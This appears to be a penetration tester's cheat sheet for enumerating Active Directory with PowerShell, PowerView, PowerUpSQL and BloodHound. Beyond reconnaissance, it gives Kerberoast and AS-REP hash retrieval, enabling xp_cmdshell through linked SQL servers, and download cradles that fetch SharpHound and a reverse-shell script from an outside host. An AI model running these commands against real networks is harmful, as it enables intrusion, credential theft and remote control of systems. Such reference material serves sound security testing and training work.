Links

Active Directory Enumeration

This page is a long term work in progress page and will be subject to multiple changes overtime.
The following page is designed to be somewhere between a cheat sheet and a generally informative page regarding Active Directory enumeration
Where possible a clear distinction will be made between using Powerview (Dev branch) for enumeration and native Windows components. The majority of the techniques are performed in the context of an unprivileged user account.

Enumeration Tools

Install AD PowerShell Module

# Install capability onto Windows 10/11
# PowerShell
Add-WindowsCapability -Name Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0 -Online
# DISM
DISM.exe /Online /add-capability /CapabilityName:Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0
# Then import module
Import-Module ActiveDirectory

Manual Copy

If you lack the ability or permissions to install the RSAT module you can clone the repo below and manually copy and import the AD module.
Import-Module .\Microsoft.ActiveDirectory.Management.dll
Import-Module .\ActiveDirectory\ActiveDirectory.psd1

General Enumeration

Computer

Powershell

# List all computers in current Domain
Get-ADComputer -Filter * | Select Name
Get-ADComputer -Filter * -Properties *
# List all computers and sort by Operating System
Get-ADComputer -Filter 'enabled -eq "true"' `
-Properties 'Name','Operatingsystem','OperatingSystemVersion','IPv4Address' |
Select-Object -Property 'Name','Operatingsystem','OperatingSystemVersion','IPv4Address' | `
Sort-Object -Property 'Operatingsystem'
# List all computers with select Operating System
Get-ADComputer -Filter 'OperatingSystem -Like "*Server*"' -Properties OperatingSystem | Select Name,OperatingSystem
# Get all computers by DNS HostName and then test connection
Get-ADComputer -Filter * -Properties DNSHostName | %{Test-Connection -Count 1 -ComputerName $_.DNSHostName}
# Get Computer objects that have Delegation enabled
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties trustedfordelegation,serviceprincipalname,description

Powerview

# List all computers in current Domain
Get-DomainComputer
# Ping all alive computers in current Domain
Get-DomainComputer -Ping
# List all computers with select Operating System
Get-DomainComputer -OperatingSystem "Windows 10 Pro"
# Get Computer objects that have Delegation enabled
Get-DomainComputer -Unconstrained -Properties trustedfordelegation,serviceprincipalname,description

Domain

PowerShell

# Domain Information
Get-ADDomain
# Get Domain SID
(Get-ADDomain).DomainSID

Powerview

# Domain Information
Get-NetDomain
# Domain Policy Information
Get-DomainPolicy
(Get-DomainPolicy)."SystemAccess"
(Get-DomainPolicy –domain <Domain>)."systemaccess"
(Get-DomainPolicy)."KerberosPolicy"
# Get Domain SID
Get-DomainSID

API

$ADClass = [System.DirectoryServices.ActiveDirectory.Domain]
$ADClass::GetCurrentDomain()

Domain Controller

PowerShell

# Get all Domain Dontrollers
Get-ADDomainController
# Get Primary Domain Controller
Get-ADForest | Select-Object -ExpandProperty RootDomain |
Get-ADDomain | Select-Object -Property PDCEmulator
# Get Domain Controller in different Domain
Get-ADDomainController -DomainName <Domain> -Discover

PowerView

# Get all Domain Dontrollers
Get-NetDomainController
# Get Primary Domain Controller
Get-NetDomain | Select-Object 'PdcRoleOwner'
# Get Domain Controller in different Domain
Get-NetDomainController -Domain <Domain>

Domain Policy

PowerShell

Get-ADDefaultDomainPasswordPolicy

PowerView

Get-DomainPolicy
(Get-DomainPolicy)."system access"
(Get-DomainPolicy)."Kerberos Policy"

Domain Trust

PowerShell

# Enumerate all Domains in the forest
Get-ADTrust -Filter *
Get-ADTrust -Identity Security.local
# Enumerate external trusts
3. (Get-ADForest).Domains | %{Get-ADTrust -Filter '(intraForest-ne $True) -and (ForestTransitive -ne $True)' -Server $_}

PowerView

# Enumerate all Domains in the forest
Get-NetForestDomain
# Get all Domains in Forest then list each Domain trust
Get-NetForestDomain -Verbose | Get-NetDomainTrust
# Map all reachable Domain trusts
Invoke-MapDomainTrusts
Invoke-MapDomainTrusts -LDAP
Invoke-MapDomainTrust | Select SourceDomain,TargetDomain,TrustType,TrustDirection
# List external trusts
Get-NetForestDomain -Verbose | Get-NetDomainTrust |?{$_.TrustType -eq 'External'}
# Enumerate trusts across the domain
Get-NetDomainTrust
# Find users in the current Domain that reside in Groups across trusts
Find-ForeignUser

Forest

PowerShell
# Get details about current Forest
Get-ADForest -Filter *
Get-ADForest -Identity <Forest>
# Get all Domains in current Forest
(Get-ADForest).Domains
# Get global catalogs in current Forest
Get-ADForest | Select -ExpandProperty 'GlobalCatalogs'
# Map Forest trusts
Get-ADTrust -Filter 'msDS-TrustForestInfo -ne "$null"'
Get-ADForest | %{Get-ADTrust -Filter *}
# List only external trusts
(Get-ADForest).Domains | `
%{Get-ADTrust -Filter '(intraForest-ne $True) -and (ForestTransitive -ne $True)' -Server $_}
PowerView
# Get details about current Forest
Get-NetForest
Get-NetForest -Forest <Forest>
# Get all Domains in current Forest
Get-NetForestDomain
Get-NetForestDomain -Forest <Forest>
# Get global catalogs in current Forest
Get-NetForestCatalog
Get-NetForestCatalog -Forest <Forest>
# Map Forest trusts
Get-NetForestTrust
Get-NetForestTrust -Forest <Forest>
.NET
# Get details about current Forest
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentFo

Group

PowerShell

# Get all Groups in the Domain
Get-ADGroup -Filter "*" | Select 'Name'
Get-ADGroup -Filter "*" -Properties "*"
# Search for Groups with partial wildcard
Get-ADGroup -Filter 'Name -Like "*admin*"' | Select 'Name'
# Get members of group
Get-ADGroupMember -Identity <Group> -Recursive
# Get Group member of select user
Get-ADPrincipalGroupMembership -Identity <Username>

PowerView

# List all Groups in current Domain
Get-NetGroup -Domain <Domain>
# List all Groups in alternative Domain
Get-NetGroup –Domain <Domain>
# Search for Groups with partial wildcard
Get-NetGroup "*admin*"
# List all local groups on Domain system
Get-NetLocalGroup -ComputerName <Hostname> -Domain <Domain> -ListGroups
# Find users who are a member of a specific local group (Requires Admin)
Get-NetLocalGroup -ComputerName <Hostname> -GroupName "Administrators" -Recurse
# Get members of all the local groups on a machine (Requires Admin)
Get-NetLocalGroup -ComputerName <Hostname> -Recurse
# Identify interesting groups on a Domain Controller
Get-NetDomainController | Get-NetLocalGroup -Recurse
# Get local Group members
Get-NetGroupMember <Group>
# List Groups of which a user is a member of
Get-NetLocalGroup -Username '<Username>'

Group Policy

PowerShell

# Get all GPO's
Get-GPO -All
# Generate RSOP report
Get-GPResultantSetOfPolicy -ReportType Html -Path "C:\Windows\Temp\Report.html"

PowerView

# Get GPO's in Domain
Get-NetGPO
Get-NetGPO | Select DisplayName
# Get GPO applied to specific OU
Get-NetGPO -ADSpath `
((Get-NetOU "StudentMachines" -FullData).gplink.split(";")[0] -replace "^.")
# Get GPO applied to system
Get-NetGPO -Computer <Hostname>.<Domain> | Select DisplayName
# Get GPO Restricted Groups
Get-NetGPOGroup
# Get users which are in a local group of a machine using GPO
Find-GPOComputerAdmin –Computername <Hostname>
# Get machines where the given user is member of a specific group
Find-GPOLocation -UserName <Username> -Verbose

Organizational Units

PowerShell

# Get all OU's in Domain
Get-ADOrganizationalUnit -Filter * -Properties *

PowerView

# Get all OU's in Domain
Get-NetOU -FullData

User

PowerShell

# List all users and properties
Get-ADuser -Filter * -Properties *
# List specific user account
Get-ADuser -Identity <Username> -Properties *
# List user accounts that are trusted for Delegation
Get-ADUser -Filter {TrustedForDelegation -eq $true}
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDs-AllowedToDelegateTo
# Get all users password last set time
Get-ADUser -Filter * -Properties * | select-object `
"name",@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
# Search for string in User Description field
Get-ADUser -Filter 'Description -like "*built*"' `
-Properties Description | Select-Object 'Name','Description'

PowerView

# List all user accounts in Domain
Get-NetUser
# List specific user account
Get-NetUser -Username <Username>
# Get all properties for a user
Get-UserProperty
# Get select propery from every user in Domain
Get-NetUser -Properties Name,Description,pwdlastset,badpwdcount | Sort Name
# Getcurrently logged on users from selected system
Get-NetLoggedon -ComputerName <Hostname>
# Get last logged user on a remote computer (Requires admin and remote registry)
Get-LastLoggedOn -ComputerName <Hostname>
# Get kerberoastable users
Get-DomainUser -SPN | select name,serviceprincipalname
# Get AS-REP roastable users
Get-DomainUser -PreauthNotRequired | select name
# Search for string in User Description field
Find-UserField -SearchField Description -SearchTerm 'built'

Other

Access Control Lists

PowerShell

# Get ACLs for specific AD Object (No Guid resolve)
(Get-Acl 'AD:\CN=Administrator,CN=Users,DC=Security,DC=local').Access

PowerView

# Get ACLs for specific AD Object
Get-ObjectACL -SamAccountName <SAM> -ResolveGUIDs
# Get ACLs for specified prefix
Get-ObjectACL -ADSprefix 'CN=Administrators,CN=Users' -Verbose
# Search for interesting ACEs
Invoke-ACLScanner -ResolveGUIDs
# Get ACL for specific path
Get-PathACL -Path "\\Security.local\SYSVOL"
# Get the ACLs associated with the specified LDAP path to be used for search
Get-ObjectAcl -ADSpath "LDAP://CN=DomainAdmins,CN=Users,DC=Security,DC=local" -ResolveGUIDs -Verbose

AppLocker

PowerShell

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

AS-REP Roastable Users

PowerShell

Get-ADUser -Filter * -Properties DoesNotRequirePreAuth | Where-Object {$_.DoesNotRequirePreAuth -eq $True -and $_.Enabled -eq $True} | Select-Object 'SamAccountName','DoesNotRequirePreAuth' | Sort-Object 'SamAccountName'

PowerView

Get-DomainUser -PreauthNotRequired -Verbose | select userprincipalname
Get-ASREPHash -UserName '<user>' -Verbose

Delegation

Delegation - Constrained

PowerShell

# Search both users and computers for Constrained Delegation
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo

PowerView

# Get computer Constrained Delegation
Get-DomainComputer -TrustedToAuth
# Get user Constrained Delegation
Get-DomainUser -TrustedToAuth

Delegation - Unconstrained

PowerShell

# Get computers with Unconstrained Delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties trustedfordelegation,serviceprincipalname,description
# Get users with unconstrained Delegation
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties trustedfordelegation,serviceprincipalname,description

PowerView

# Get computers with unconstrained delegation
Get-DomainComputer -Unconstrained | select -ExpandProperty name

Deleted Users

If we are a member of the AD group "AD Recycle Bin" we can view deleted user objects in PowerShell.
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

LAPS

LAPS Delegation

The following can be used to identify what objects have the ability to read the LAPS password property for a specified computer inside the domain

Powerview

Get-NetComputer -ComputerName '<Hostname>' -FullData |
Select-Object -ExpandProperty distinguishedname |
ForEach-Object { $_.substring($_.indexof('OU')) } | ForEach-Object {
Get-ObjectAcl -ResolveGUIDs -DistinguishedName $_
} | Where-Object {
($_.ObjectType -like 'ms-Mcs-AdmPwd') -and
($_.ActiveDirectoryRights -match 'ReadProperty')
} | ForEach-Object {
Convert-NameToSid $_.IdentityReference
} | Select-Object -ExpandProperty SID | Get-ADObject
Get ACL's where objects are allowed to read the LAPS password property.

Powerview

Get-NetOU -FullData |
Get-ObjectAcl -ResolveGUIDs |
Where-Object {
($_.ObjectType -like 'ms-Mcs-AdmPwd') -and
($_.ActiveDirectoryRights -match 'ReadProperty')
} | ForEach-Object {
$_ | Add-Member NoteProperty 'IdentitySID' $(Convert-NameToSid $_.IdentityReference).SID;
$_
}

MSSQL

PowerUpSQL

# Discovery (SPN Scanning)
Get-SQLInstanceDomain
# Check Accessibility
Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
#Gather Information
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
# Search for database links to remote servers
Get-SQLServerLink -Instance <Instance> -Verbose
Get-SQLServerLinkCrawl -Instance <Instance> -Verbose
# Where instance user matches "sa"
Get-SQLServerLinkCrawl -Instance <Instance> | Where-Object {$_.User -match 'sa'}
# Execute commands ( If xp_cmdshell or RPC out is set to enabled)
# If AV is enabled run cradled scripts with functions inline with the script
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "<Instance>"
Get-SQLServerLinkCrawl -Instance <Instance> "exec master..xp_cmdshell 'whoami'" -Query
# Scan for misconfigurations and vulnerabilities
Invoke-SQLAudit -Verbose -Instance <Server>

SQL Commands

# Search for database links
select * from master..sysservers
# Manually searching for Database Links
select * from openquery("<Server>",'select * from master..sysservers')
# Openquery queries can be chained to access links within links (nested links)
select * from openquery("dcorp-sql1",'select * from openquery("<Server>",''select * from master..sysservers'')')
# From the initial SQL server, OS commands can be executed using nested link queries
select * from openquery("dcorp-sql1",'select * from openquery("<Server>",''select * from openquery("eu-sql.eu.eurocorp.local",''''[email protected]@version as version;exec master..xp_cmdshell "powershellwhoami)'''')'')')

MSSQL - PowerupSQL exploit example

Search for accessible instances in current domain
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
ComputerName Instance Status
------------ -------- ------
mssql-srv.security.local mssql-srv.security.local,1433 Accessible
Mgmtsrv01.security.local mgmtsrv01.security.local,1433 Not Accessible
Run the Get-SQLServerLinkCrawl on an accessible instance.
Get-SQLServerLinkCrawl -Instance mssql-srv.security.local -Verbose
Version : SQL Server 2017
Instance : mssql-master-srv
CustomQuery :
Sysadmin : 1
Path : {mssql-srv, mssql-srv-eu, mssql-master-srv}
User : sa
Links :
From the results above the server mssql-master-srv is the enterprise level MSSSQL server running with "sa" privileges. The path field shows in order how this is accessible starting with mssql-srv. We can check for command execution specifying the first accessible instance in the path which, in this case is mssql-srv.
Get-SQLServerLinkCrawl -Instance "mssql-srv" -Query "exec master..xp_cmdshell 'whoami'"
Version : SQL Server 2017
Instance : mssql-master-srv
CustomQuery : {nt authority\network service, }
Sysadmin : 1
Path : {mssql-srv, mssql-srv-eu, mssql-master-srv}
User : sa
Links :
With confirmed command execution under the "sa" account on the mssql-master-srv we can then connect remotely by executing a PowerShell download cradle
Get-SQLServerLinkCrawl -Instance mssql-srv -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://<IP>/Invoke-PowerShellTcp.ps1'')"' -E df

Shares

PowerView

# Find available shares on hosts in the current Domain
Invoke-ShareFinder -Verbose
# Exclude default shares
Invoke-ShareFinder -ExcludePrint -ExcludeStandard -ExcludeIPC -Verbose
# Find sensitive files on system on the Domain
Invoke-FileFinder -verbose
# Get all file servers on Domain
Get-NetFileServer

SPNs

PowerShell

# Get all accounts where SPN is not null
Get-ADUser -Filter * -Properties * | Where {$_.ServicePrincipalName -ne $null} | Select 'Name','ServicePrincipalName'
# Exclude krbtgt
Get-ADUser -Filter * -Properties * | Where {$_.ServicePrincipalName -ne $null -and $_.Name -ne 'krbtgt'} | Select 'Name','ServicePrincipalName'

PowerView

# find all users with an SPN set (likely service accounts)
Get-DomainUser -SPN
# find all service accounts in "Domain Admins"
Get-DomainUser -SPN | ?{$_.memberof -match 'Domain Admins'}
# Get Specific user SPN hash
Get-DomainUser -Identity <User> | Get-DomainSPNTicket | select -ExpandProperty Hash

User Hunting

PowerView

# Find all machines on domain where current user has local admin privileges
Find-LocalAdminAccess -Verbose
# Find computers where domain administrators or specified user / group has session
Invoke-UserHunter
Invoke-UserHunter -GroupName "RDPUsers"
Invoke-UserHunter -Stealth # Makes less noise
Invoke-UserHunter -CheckAccess # Confirm access
# Find local admins on all machines of the domain (needs local admin rights on target).
Invoke-EnumerateLocalAdmin –Verbose
# Get actively logged users on a computer (needs local admin rights on the target)
Get-NetLoggedon –ComputerName <Hostname>
# Get locally logged users on a computer (needs remote registry on the target - started by-default on server OS)
Get-LoggedonLocal -ComputerName <Hostname>
# Get the last logged user on a computer (needs administrative rights and remote registry on the target)
Get-LastLoggedOn –ComputerName <Hostname>
# Poll asystem for when a particular user accesses a resource
Invoke-UserHunter -ComputerName <Hostname> -Poll 100 -UserName <user> -Delay 5 -Verbose

Administrative User Identification

Local System Enumeration

Windows allows any basic authenticated domain user to enumerate the members of a local group on a remote machine.

PowerView

Get-NetLocalGroup -ComputerName <Hostname>
# With API Call
Get-NetLocalGroup -ComputerName <Hostname> -API
# Get list of effective users who can access a remote host
Get-NetLocalGroup -ComputerName <Hostname> -Recurse

WinNT Service

([ADSI]'WinNT://<Hostname>/Administrators').psbase.Invoke('Members') |
%{$_.GetType().InvokeMember('Name', 'GetProperty', $null, $_, $null)}

Domain Group Enumeration

PowerShell

# Find security groups which contain "*admin*".
get-adgroup -filter {GroupCategory -eq 'Security' -AND Name -like '*admin*'}

PowerView

# Retrieve members of the Domain Admins group
Get-NetGroupMember -GroupName "Domain Admins"

AdminCount = 1

This can produce false positives as the AdminCount value is not always automatically updated when an account has been disabled or removed from a Group that provides privileged permissions.

PowerShell

Get-ADObject -LDAPFilter "(&(admincount=1)(|(objectcategory=person)(objectcategory=group)))" | Select-Object DistinguishedName, Name

PowerView

# Identify Privileged accounts without querying groups
Get-NetUser -AdminCount | select name,whencreated,pwdlastset,lastlogo

AD Groups with Local Admin Rights

Often times in domain environments domain user accounts are given member to a workstations local group 'Administrators'.

PowerView

Get-NetGPOGroup
Get-NetGroupMember -GroupName "Local Admin"

Virtual Admins

Virtual Admins usually have full access to the virtualization platform identifying and owning these accounts can often give total control over to an attacker.

PowerView

Get-NetGroup "*Hyper*" | Get-NetGroupMember
Get-NetGroup "*VMWare*" | Get-NetGroupMember

Systems with Admin Rights

Finding computer accounts with a $ sign at the end of the hostname in an admin group we can then compromise the system and obtain SYSTEM privileges. The SYSTEM account on the compromised computer would then have AD admin privileges.

PowerView

Get-NetGroup "*admins*" | Get-NetGroupMember -Recurse |?{$_.MemberName -Like '*$'}

Tools

Bloodhound

Ingestors

# Standard local execution
./SharpHound.exe --CollectionMethod All
Invoke-BloodHound --CollectionMethod All
Invoke-BloodHound --CollectionMethod All -CompressData -RemoveCSV
Invoke-BloodHound -CollectionMethod All,GPOLocalGroup
Invoke-BloodHound -CollectionMethod LoggedOn
# Specify different domain and run in stealth mode and collect only RDP data
Invoke-BloodHound --d <Domain> --Stealth --CollectionMethod RDP
# Run in context of different user
runas.exe /netonly /user:domain\user 'powershell.exe -nop -exec bypass'
# Download and execute in memory
powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('http://<IP>:/SharpHound.ps1');Invoke-BloodHound"
# Metasploit
use post/windows/gather/bloodhound

Custom Queries

Add the queries below into BloodHound for further queries.
Replace the customqueries.json with one of the below files to update the custom queries within Bloodhound. Remember to restart Bloodhound after changing the JSON file.
Locate custom queries file
sudo find / -type f -name customqueries.json 2>/dev/null
Note: Keep in mind that Bloodhound captures a 'snapshot' of the current state of Active Directory at the time of capture and as such results may change when captured again in the future.

Additional Notes

If Constrained Language mode is enabled on the target Domain Controller, Powerview will be heavily restricted for Domain enumeration. However, the AD PowerShell module will not be limited and allow Domain enumeration to continue.

Lab Reviews: